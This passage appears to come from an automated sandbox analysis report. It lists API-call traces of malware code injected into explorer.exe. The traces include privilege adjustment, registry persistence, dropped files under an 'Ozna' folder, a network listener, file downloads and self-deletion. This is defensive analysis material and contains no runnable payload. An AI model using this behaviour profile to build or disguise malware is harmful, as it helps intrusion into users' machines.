    • Sleep.KERNEL32(0000000A), ref: 00E38AAD
      • Part of subcall function 00E5BA3D: DeleteObject.GDI32(00000000), ref: 00E5BA4D
      • Part of subcall function 00E5BA3D: CloseHandle.KERNEL32(00000000), ref: 00E5BA5D
      • Part of subcall function 00E5BA3D: TlsFree.KERNEL32 ref: 00E5BA68
      • Part of subcall function 00E5BA3D: CloseHandle.KERNEL32(00000000), ref: 00E5BA76
      • Part of subcall function 00E5BA3D: UnmapViewOfFile.KERNEL32(00000000), ref: 00E5BA80
      • Part of subcall function 00E5BA3D: CloseHandle.KERNEL32 ref: 00E5BA8D
      • Part of subcall function 00E5BA3D: SelectObject.GDI32(00000000,00000000), ref: 00E5BAA7
      • Part of subcall function 00E5BA3D: DeleteObject.GDI32(00000000), ref: 00E5BAB8
      • Part of subcall function 00E5BA3D: DeleteDC.GDI32(00000000), ref: 00E5BAC5
      • Part of subcall function 00E5BA3D: CloseHandle.KERNEL32(00000000), ref: 00E5BAD6
      • Part of subcall function 00E5BA3D: WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00E5BAE5
      • Part of subcall function 00E5BA3D: PostThreadMessageW.USER32(00000000,00000012,00000000,00000000,?,00000000,00E5BC3C,00000000,00E645C0,?,0000004C,00000014,?,00000000,?,00000002), ref: 00E5BAFE
    • Sleep.KERNEL32(000000FF), ref: 00E389A1
    • ExitProcess.KERNEL32(00000000,00000000), ref: 00E389B3
    • VirtualProtect.KERNEL32(7C90CFEE,00000006,00000040,?), ref: 00E38A5C
    • VirtualProtect.KERNEL32(7C90CFEE,00000006,?,?), ref: 00E38A75
    • CreateThread.KERNEL32(00000000,00000000,Function_00008533,00000000), ref: 00E38A96
    • NtClose.NTDLL(?,?,00000000), ref: 00E38A9E
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E4DD7A, Relevance: 10.6, APIs: 7, Instructions: 109
    APIs
      • Part of subcall function 00E4DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00E4DEF5
    • FindFirstFileW.KERNEL32(?,?), ref: 00E4DDB9
    • WaitForSingleObject.KERNEL32(?,00000000), ref: 00E4DDE0
      • Part of subcall function 00E4DD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 00E4DE2A
      • Part of subcall function 00E4DD7A: Sleep.KERNEL32(00000000), ref: 00E4DE57
      • Part of subcall function 00E4DD7A: Sleep.KERNEL32(00000000), ref: 00E4DE87
    • FindNextFileW.KERNEL32(?,?), ref: 00E4DEB5
    • FindClose.KERNEL32(?), ref: 00E4DEC7
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E49F62, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 84
    APIs
      • Part of subcall function 00E4D9C8: GetTempPathW.KERNEL32(000000F6,?), ref: 00E4D9DF
    • CharToOemW.USER32(?,?), ref: 00E49F93
    • GetEnvironmentVariableW.KERNEL32(ComSpec,?,00000104), ref: 00E4A00F
      • Part of subcall function 00E4D955: SetFileAttributesW.KERNEL32(?,00000080), ref: 00E4D95E
      • Part of subcall function 00E4D955: DeleteFileW.KERNEL32(?), ref: 00E4D968
      • Part of subcall function 00E4D7AA: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 00E4D7C4
      • Part of subcall function 00E4D7AA: WriteFile.KERNEL32(?,00000000,00000000,00000000,00000000), ref: 00E4D7E7
      • Part of subcall function 00E4D7AA: CloseHandle.KERNEL32 ref: 00E4D7F4
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
      • Part of subcall function 00E48E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00E48EB4
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E502D7, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 76
    APIs
    • GetCurrentThread.KERNEL32 ref: 00E502E2
    • SetThreadPriority.KERNEL32 ref: 00E502E9
      • Part of subcall function 00E37ED5: CreateMutexW.KERNEL32(00E62AFC,00000000,?), ref: 00E37EF6
      • Part of subcall function 00E380FF: PathRenameExtensionW.SHLWAPI(?,.dat), ref: 00E3817A
    • PathQuoteSpacesW.SHLWAPI(0000005C), ref: 00E50344
      • Part of subcall function 00E3803E: WaitForSingleObject.KERNEL32(00000000,00E50285), ref: 00E38046
    • WaitForSingleObject.KERNEL32(000000C8), ref: 00E50382
      • Part of subcall function 00E4C7EE: RegCreateKeyExW.ADVAPI32(80000001,7C809F91,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 00E4C80C
      • Part of subcall function 00E4C7EE: RegSetValueExW.ADVAPI32(00000000,?,00000000,?,00000004,?), ref: 00E4C826
      • Part of subcall function 00E4C7EE: RegCloseKey.ADVAPI32(00000000), ref: 00E4C835
    • WaitForSingleObject.KERNEL32(000000C8,0271FF50), ref: 00E503B8
      • Part of subcall function 00E4BD18: ReleaseMutex.KERNEL32 ref: 00E4BD1C
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E49BF4, Relevance: 10.6, APIs: 7, Instructions: 74
    APIs
    • OpenProcessToken.ADVAPI32(000000FF,00000008,00E37CC0), ref: 00E49C04
    • GetTokenInformation.ADVAPI32(00E37CC0,00000019,00000000,00000000,00E62F90), ref: 00E49C24
    • GetLastError.KERNEL32(?,?,?,?,?,00E37855,00000000,00E37CC0,00E62F90), ref: 00E49C2A
      • Part of subcall function 00E48130: HeapAlloc.KERNEL32(00000008,?,00E4C881), ref: 00E48141
    • GetTokenInformation.ADVAPI32(00E37CC0,00000019,?,00E62F90,00E62F90), ref: 00E49C51
    • GetSidSubAuthorityCount.ADVAPI32(?,?,00E62F90,00E62F90,?,?,?,?,?,?,00E37855,00000000,00E37CC0,00E62F90), ref: 00E49C59
    • GetSidSubAuthority.ADVAPI32(?,?,?,?,00E62F90,00E62F90,?,?,?,?,?,?,00E37855,00000000,00E37CC0,00E62F90), ref: 00E49C70
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
    • CloseHandle.KERNEL32(00E37CC0), ref: 00E49C9B
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E4CAE9, Relevance: 10.6, APIs: 7, Instructions: 66
    APIs
    • SHGetFolderPathW.SHELL32(00000000,00000024,00000000,00000000,?), ref: 00E4CB07
    • PathAddBackslashW.SHLWAPI(?), ref: 00E4CB1E
    • PathRemoveBackslashW.SHLWAPI(?), ref: 00E4CB2F
    • PathRemoveFileSpecW.SHLWAPI(?), ref: 00E4CB3C
    • PathAddBackslashW.SHLWAPI(?), ref: 00E4CB4D
    • GetVolumeNameForVolumeMountPointW.KERNEL32(?,?,00000064), ref: 00E4CB5C
    • CLSIDFromString.OLE32(0000007B,?), ref: 00E4CB76
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E4CA60, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60
    APIs
    • RegCreateKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft,00000000,00000000,00000000,00000004,00000000,?,00000000), ref: 00E4CA88
      • Part of subcall function 00E4C8C5: CharUpperW.USER32(?,?,.exe,00000000), ref: 00E4C9E6
    • RegCreateKeyExW.ADVAPI32(?,?,00000000,00000000,00000000,00000003,00000000,?,?), ref: 00E4CABA
    • RegCloseKey.ADVAPI32(?), ref: 00E4CAC3
    • RegCloseKey.ADVAPI32(?), ref: 00E4CADD
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E49B6C, Relevance: 10.6, APIs: 7, Instructions: 52
    APIs
    • GetCurrentThread.KERNEL32 ref: 00E49B7C
    • OpenThreadToken.ADVAPI32 ref: 00E49B83
    • OpenProcessToken.ADVAPI32(000000FF,00000020,00E59F61), ref: 00E49B95
    • LookupPrivilegeValueW.ADVAPI32(00000000,00E59F61,?), ref: 00E49BB9
    • AdjustTokenPrivileges.ADVAPI32(00E59F61,00000000,00000001,00000000,00000000,00000000), ref: 00E49BCE
    • GetLastError.KERNEL32 ref: 00E49BD8
    • CloseHandle.KERNEL32(00E59F61), ref: 00E49BE7
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E58964, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 50
    APIs
    • PathRemoveFileSpecW.SHLWAPI(C:\Documents and Settings\Administrator\Application Data\Ozna), ref: 00E589A0
    • PathRenameExtensionW.SHLWAPI(?,.tmp), ref: 00E589C0
      • Part of subcall function 00E4DC58: PathSkipRootW.SHLWAPI(?), ref: 00E4DC63
      • Part of subcall function 00E4DC58: GetFileAttributesW.KERNEL32(?), ref: 00E4DC8B
      • Part of subcall function 00E4DC58: CreateDirectoryW.KERNEL32(?,00000000), ref: 00E4DC99
      • Part of subcall function 00E4BBC6: ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;CIOI;NRNWNX;;;LW),00000001,?,00000000), ref: 00E4BBE5
      • Part of subcall function 00E4BBC6: GetSecurityDescriptorSacl.ADVAPI32(?,00000000,?,00000000), ref: 00E4BC01
      • Part of subcall function 00E4BBC6: SetNamedSecurityInfoW.ADVAPI32(?,00000001,00000010,00000000,00000000,00000000,?), ref: 00E4BC18
      • Part of subcall function 00E4BBC6: LocalFree.KERNEL32(?), ref: 00E4BC27
    • GetFileAttributesW.KERNEL32(C:\Documents and Settings\Administrator\Application Data\Ozna\afmic.kua), ref: 00E589E3
      • Part of subcall function 00E380FF: PathRenameExtensionW.SHLWAPI(?,.dat), ref: 00E3817A
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E5BA81, Relevance: 10.5, APIs: 7, Instructions: 47
    APIs
    • CloseHandle.KERNEL32 ref: 00E5BA8D
    • SelectObject.GDI32(00000000,00000000), ref: 00E5BAA7
    • DeleteObject.GDI32(00000000), ref: 00E5BAB8
    • DeleteDC.GDI32(00000000), ref: 00E5BAC5
    • CloseHandle.KERNEL32(00000000), ref: 00E5BAD6
    • WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00E5BAE5
    • PostThreadMessageW.USER32(00000000,00000012,00000000,00000000,?,00000000,00E5BC3C,00000000,00E645C0,?,0000004C,00000014,?,00000000,?,00000002), ref: 00E5BAFE
      • Part of subcall function 00E49EB0: CloseHandle.KERNEL32(00000000), ref: 00E49EC2
      • Part of subcall function 00E49EB0: CloseHandle.KERNEL32 ref: 00E49ECB
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E5CA22, Relevance: 9.2, APIs: 6, Instructions: 197
    APIs
    • GetAncestor.USER32(?,00000002), ref: 00E5CA4B
    • SendMessageTimeoutW.USER32(?,00000021,?,?,00000002,00000064,?), ref: 00E5CA76
    • PostMessageW.USER32(?,00000020,?), ref: 00E5CAB8
      • Part of subcall function 00E5C943: GetTickCount.KERNEL32 ref: 00E5C9A9
      • Part of subcall function 00E5C943: GetClassLongW.USER32(?,000000E6), ref: 00E5C9DE
    • GetWindowThreadProcessId.USER32(?,00000000), ref: 00E5CB4E
    • PostMessageW.USER32(?,00000112,?,?), ref: 00E5CBA1
    • GetWindowThreadProcessId.USER32(?,00000000), ref: 00E5CBE0
      • Part of subcall function 00E5C7B3: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00E5C7B9
      • Part of subcall function 00E5C7B3: ReleaseMutex.KERNEL32 ref: 00E5C7ED
      • Part of subcall function 00E5C7B3: IsWindow.USER32(?), ref: 00E5C7F4
      • Part of subcall function 00E5C7B3: PostMessageW.USER32(?,00000215,00000000,?), ref: 00E5C80E
      • Part of subcall function 00E5C7B3: SendMessageW.USER32(?,00000215,00000000,?), ref: 00E5C816
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E51A14, Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 424
    APIs
    • EnterCriticalSection.KERNEL32(00E63FEC,?,00000000,00000000), ref: 00E51A2F
    • LeaveCriticalSection.KERNEL32(00E63FEC,?,00000000,00000000), ref: 00E51AB2
    • InternetCrackUrlA.WININET(?,?,00000000,?), ref: 00E51C6F
      • Part of subcall function 00E584CE: EnterCriticalSection.KERNEL32(00E64170,?,00E51C94,?,?,00004E25,10000000,?,00000000,00000000), ref: 00E584D5
      • Part of subcall function 00E584CE: LeaveCriticalSection.KERNEL32(00E64170,?,00004E25,10000000,?,00000000,00000000), ref: 00E5850A
      • Part of subcall function 00E58514: EnterCriticalSection.KERNEL32(00E64170,00000000,?,00E51DB8,?,00000000,00000000), ref: 00E58520
      • Part of subcall function 00E58514: LeaveCriticalSection.KERNEL32(00E64170,?,00000000,00000000), ref: 00E5856A
    • InternetCrackUrlA.WININET(?,?,00000000,?), ref: 00E51DEB
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
      • Part of subcall function 00E5131B: RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000001,000000FF), ref: 00E514ED
      • Part of subcall function 00E5131B: RegQueryValueExW.ADVAPI32(000000FF,?,00000000,00000000,?,?), ref: 00E5150D
      • Part of subcall function 00E5131B: RegCloseKey.ADVAPI32(000000FF), ref: 00E51520
      • Part of subcall function 00E5131B: GetLocalTime.KERNEL32(?), ref: 00E5152F
      • Part of subcall function 00E59B3D: GetTempFileNameW.KERNEL32(C:\Documents and Settings\Administrator\Application Data\Ozna,pre,00000000,?), ref: 00E59BB9
      • Part of subcall function 00E55C34: CreateMutexW.KERNEL32(00E62AFC,00000000,00E64090), ref: 00E55C59
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E5B425, Relevance: 9.2, APIs: 6, Instructions: 170
    APIs
      • Part of subcall function 00E4B7E9: select.WS2_32(00000000,?,00000000,00000000), ref: 00E4B866
      • Part of subcall function 00E4B7E9: WSASetLastError.WS2_32(0000274C), ref: 00E4B877
    • WSAGetLastError.WS2_32(000000FF,?,000003E8,00000000,?,?,?), ref: 00E5B465
    • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00E5B47E
    • accept.WS2_32(?,?,?), ref: 00E5B4A7
      • Part of subcall function 00E4B93D: setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 00E4B953
      • Part of subcall function 00E4B8FB: WSAIoctl.WS2_32(?,98000004,?,0000000C,00000000,00000000,?,00000000,00000000), ref: 00E4B92E
      • Part of subcall function 00E4B9A3: WSAAddressToStringW.WS2_32(?,?,00000000,?,?), ref: 00E4B9C7
    • EnterCriticalSection.KERNEL32(00E645A0,?,00000000,?,?,?,?,00000080,?,?,?), ref: 00E5B56F
    • SetEvent.KERNEL32(?), ref: 00E5B596
    • LeaveCriticalSection.KERNEL32(00E645A0,?,00000000,?,?,?,?,00000080,?,?,?), ref: 00E5B59D
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
      • Part of subcall function 00E5B218: EnterCriticalSection.KERNEL32(00E645A0,?,000000FF,?,00E5B5CA,?,?,?,?), ref: 00E5B221
      • Part of subcall function 00E5B218: LeaveCriticalSection.KERNEL32(00E645A0,?,000000FF,?,00E5B5CA,?,?,?,?), ref: 00E5B284
      • Part of subcall function 00E5B218: CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 00E5B2B6
      • Part of subcall function 00E4C62D: SetLastError.KERNEL32(0000009B,00E383E2,00000000,Function_0002026D,00000000), ref: 00E4C637
      • Part of subcall function 00E4C62D: CreateThread.KERNEL32(00000000,00000000,00000000,00000000), ref: 00E4C65A
      • Part of subcall function 00E5B2E3: EnterCriticalSection.KERNEL32(00E645A0,?,?,00E5B607,00000000,00E5B388,?,000000FF,00000002,?,?,?,?,?), ref: 00E5B2F4
      • Part of subcall function 00E5B2E3: CloseHandle.KERNEL32(?), ref: 00E5B330
      • Part of subcall function 00E5B2E3: LeaveCriticalSection.KERNEL32(00E645A0,?,?,00E5B607,00000000,00E5B388,?,000000FF,00000002,?,?,?,?,?), ref: 00E5B37F
      • Part of subcall function 00E4C5DB: WaitForSingleObject.KERNEL32(?,00000000), ref: 00E4C5FA
      • Part of subcall function 00E4C5DB: CloseHandle.KERNEL32(?), ref: 00E4C606
      • Part of subcall function 00E4B8E5: shutdown.WS2_32(?,00000002), ref: 00E4B8ED
      • Part of subcall function 00E4B8E5: #3.WS2_32(?,?,00000002,00E3A43E), ref: 00E4B8F4
      • Part of subcall function 00E4C672: WaitForMultipleObjects.KERNEL32(?,00E629A4,00000001,000000FF), ref: 00E4C684
      • Part of subcall function 00E4C695: CloseHandle.KERNEL32(?), ref: 00E4C6A3
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E54191, Relevance: 9.2, APIs: 6, Instructions: 169
    APIs
      • Part of subcall function 00E4DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00E4DEF5
      • Part of subcall function 00E48130: HeapAlloc.KERNEL32(00000008,?,00E4C881), ref: 00E48141
    • GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?,0000FFFF,?), ref: 00E54206
    • StrStrIW.SHLWAPI(?,?), ref: 00E5429D
    • GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00E542C5
    • GetPrivateProfileIntW.KERNEL32(0000FFFF,?,00000015,?), ref: 00E542E2
    • GetPrivateProfileStringW.KERNEL32(?,000000FF,00000000,?,000000FF,?), ref: 00E54313
    • GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00E54334
      • Part of subcall function 00E48E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00E48EB4
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E53D7F, Relevance: 9.1, APIs: 6, Instructions: 142
    APIs
      • Part of subcall function 00E48130: HeapAlloc.KERNEL32(00000008,?,00E4C881), ref: 00E48141
    • GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?,0000FFFF,?), ref: 00E53DB6
    • StrStrIW.SHLWAPI(?,?), ref: 00E53E48
    • StrStrIW.SHLWAPI(?,?), ref: 00E53E59
    • GetPrivateProfileStringW.KERNEL32(?,?,?,?,000000FF,?), ref: 00E53E75
    • GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00E53E93
    • GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00E53EAD
      • Part of subcall function 00E48E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00E48EB4
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E38600, Relevance: 9.1, APIs: 6, Instructions: 88
    APIs
      • Part of subcall function 00E4D8B7: VirtualFree.KERNEL32(?,00000000,00008000), ref: 00E4D8C8
      • Part of subcall function 00E4D8B7: CloseHandle.KERNEL32(00000001), ref: 00E4D8D6
      • Part of subcall function 00E5A297: StrCmpNIW.SHLWAPI(C:\Documents and Settings\Administrator\Application Data,025E1EE8), ref: 00E5A31B
      • Part of subcall function 00E5A297: lstrcmpiW.KERNEL32(?,?), ref: 00E5A333
    • CreateMutexW.KERNEL32(00E62AFC,00000001,?), ref: 00E38663
    • CloseHandle.KERNEL32 ref: 00E386F3
      • Part of subcall function 00E4BD28: GetLastError.KERNEL32(7C802530,00E37E8B), ref: 00E4BD2B
      • Part of subcall function 00E4BD28: CloseHandle.KERNEL32 ref: 00E4BD39
      • Part of subcall function 00E50477: RegOpenKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft\Fyfe,00000000,00000001,?), ref: 00E504BA
    • CloseHandle.KERNEL32(000001E6), ref: 00E38701
      • Part of subcall function 00E3853D: SHGetFolderPathW.SHELL32(00000000,00000029,00000000,00000000,?), ref: 00E38555
      • Part of subcall function 00E3853D: CreateProcessW.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 00E385A7
      • Part of subcall function 00E3853D: CloseHandle.KERNEL32(?), ref: 00E385B4
      • Part of subcall function 00E56F66: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00E56F87
      • Part of subcall function 00E56F66: Process32FirstW.KERNEL32(?,0269FD4C), ref: 00E56FB0
      • Part of subcall function 00E56F66: OpenProcess.KERNEL32(00000400,00000000,?), ref: 00E5700B
      • Part of subcall function 00E56F66: CloseHandle.KERNEL32 ref: 00E57028
      • Part of subcall function 00E56F66: GetLengthSid.ADVAPI32(?,?,?,0269FF78), ref: 00E5703B
      • Part of subcall function 00E56F66: CloseHandle.KERNEL32(?), ref: 00E570AC
      • Part of subcall function 00E56F66: Process32NextW.KERNEL32(?,0000022C), ref: 00E570B8
      • Part of subcall function 00E56F66: CloseHandle.KERNEL32(?), ref: 00E570C9
    • ExitWindowsEx.USER32(00000014,80000000), ref: 00E386C1
    • OpenEventW.KERNEL32(00000002,00000000,?), ref: 00E386D9
    • SetEvent.KERNEL32 ref: 00E386EC
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E5A8DC, Relevance: 9.1, APIs: 6, Instructions: 79
    APIs
      • Part of subcall function 00E380FF: PathRenameExtensionW.SHLWAPI(?,.dat), ref: 00E3817A
    • PathRemoveFileSpecW.SHLWAPI(?), ref: 00E5A902
    • PathRemoveFileSpecW.SHLWAPI(?), ref: 00E5A915
      • Part of subcall function 00E59DD0: SetEvent.KERNEL32(00E5A925), ref: 00E59DD6
      • Part of subcall function 00E59DD0: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00E59DF0
      • Part of subcall function 00E503CF: SHDeleteValueW.SHLWAPI(80000001,?,?), ref: 00E5040E
      • Part of subcall function 00E503CF: Sleep.KERNEL32(000001F4), ref: 00E5041D
      • Part of subcall function 00E503CF: RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000001,?), ref: 00E50432
      • Part of subcall function 00E503CF: RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,00000000), ref: 00E5044A
      • Part of subcall function 00E503CF: RegCloseKey.ADVAPI32(?), ref: 00E50459
      • Part of subcall function 00E4DCBF: FindFirstFileW.KERNEL32(?,?), ref: 00E4DCF0
      • Part of subcall function 00E4DCBF: FindNextFileW.KERNEL32(?,?), ref: 00E4DD4B
      • Part of subcall function 00E4DCBF: FindClose.KERNEL32 ref: 00E4DD56
      • Part of subcall function 00E4DCBF: SetFileAttributesW.KERNEL32(?,00000080), ref: 00E4DD62
      • Part of subcall function 00E4DCBF: RemoveDirectoryW.KERNEL32(?), ref: 00E4DD69
    • SHDeleteKeyW.SHLWAPI(80000001,?), ref: 00E5A953
    • CharToOemW.USER32(?,?), ref: 00E5A96F
    • CharToOemW.USER32(?,?), ref: 00E5A97E
      • Part of subcall function 00E48ED6: wvnsprintfA.SHLWAPI(?,0000026C,?,?), ref: 00E48EF2
    • ExitProcess.KERNEL32(00000000), ref: 00E5A9D6
      • Part of subcall function 00E49F62: CharToOemW.USER32(?,?), ref: 00E49F93
      • Part of subcall function 00E49F62: GetEnvironmentVariableW.KERNEL32(ComSpec,?,00000104), ref: 00E4A00F
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E4A327, Relevance: 9.1, APIs: 6, Instructions: 74
    APIs
    • CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 00E4A347
      • Part of subcall function 00E48130: HeapAlloc.KERNEL32(00000008,?,00E4C881), ref: 00E48141
    • WaitForSingleObject.KERNEL32(?,00000000), ref: 00E4A375
    • InternetReadFile.WININET(?,?,00001000,?), ref: 00E4A391
    • WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00E4A3AC
    • FlushFileBuffers.KERNEL32 ref: 00E4A3CC
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
    • CloseHandle.KERNEL32 ref: 00E4A3DF
      • Part of subcall function 00E4D955: SetFileAttributesW.KERNEL32(?,00000080), ref: 00E4D95E
      • Part of subcall function 00E4D955: DeleteFileW.KERNEL32(?), ref: 00E4D968
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E4CC75, Relevance: 9.1, APIs: 6, Instructions: 72
    APIs
    • WindowFromPoint.USER32(?,?), ref: 00E4CC91
    • SendMessageTimeoutW.USER32(?,00000084,00000000,?,00000002,?,?), ref: 00E4CCC2
    • GetWindowLongW.USER32(?,000000F0), ref: 00E4CCE6
    • SetWindowLongW.USER32(?,000000F0), ref: 00E4CCF7
    • GetWindowLongW.USER32(00000002,000000F0), ref: 00E4CD14
    • SetWindowLongW.USER32(?,000000F0), ref: 00E4CD22
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E4D80F, Relevance: 9.1, APIs: 6, Instructions: 68
    APIs
    • CreateFileW.KERNEL32(00000000,80000000,?,00000000,00000003,00000000,00000000), ref: 00E4D834
    • GetFileSizeEx.KERNEL32(?,00000000), ref: 00E4D847
    • VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 00E4D86F
    • ReadFile.KERNEL32(00000001,?,?,00000000,00000000), ref: 00E4D887
    • VirtualFree.KERNEL32(?,00000000,00008000), ref: 00E4D8A1
    • CloseHandle.KERNEL32(00000001), ref: 00E4D8AA
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E3924C, Relevance: 9.1, APIs: 6, Instructions: 57
    APIs
    • InterlockedExchange.KERNEL32(00E63060,00000000,7C80AE40), ref: 00E39261
    • InterlockedExchange.KERNEL32(00E63040,00000000), ref: 00E3926A
    • InitializeCriticalSection.KERNEL32(00E63018), ref: 00E39271
    • GetProcAddress.KERNEL32(?,?), ref: 00E392D1
    • GetProcAddress.KERNEL32(?), ref: 00E392E2
    • GetProcAddress.KERNEL32(?), ref: 00E392F2
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E44962, Relevance: 9.1, APIs: 6, Instructions: 54
    APIs
    • GetUpdateRgn.USER32(?,?,?), ref: 00E449EA
      • Part of subcall function 00E3803E: WaitForSingleObject.KERNEL32(00000000,00E50285), ref: 00E38046
    • TlsGetValue.KERNEL32 ref: 00E44982
    • SetRectRgn.GDI32(?,?,?,?,?), ref: 00E449A2
    • SaveDC.GDI32(?), ref: 00E449B2
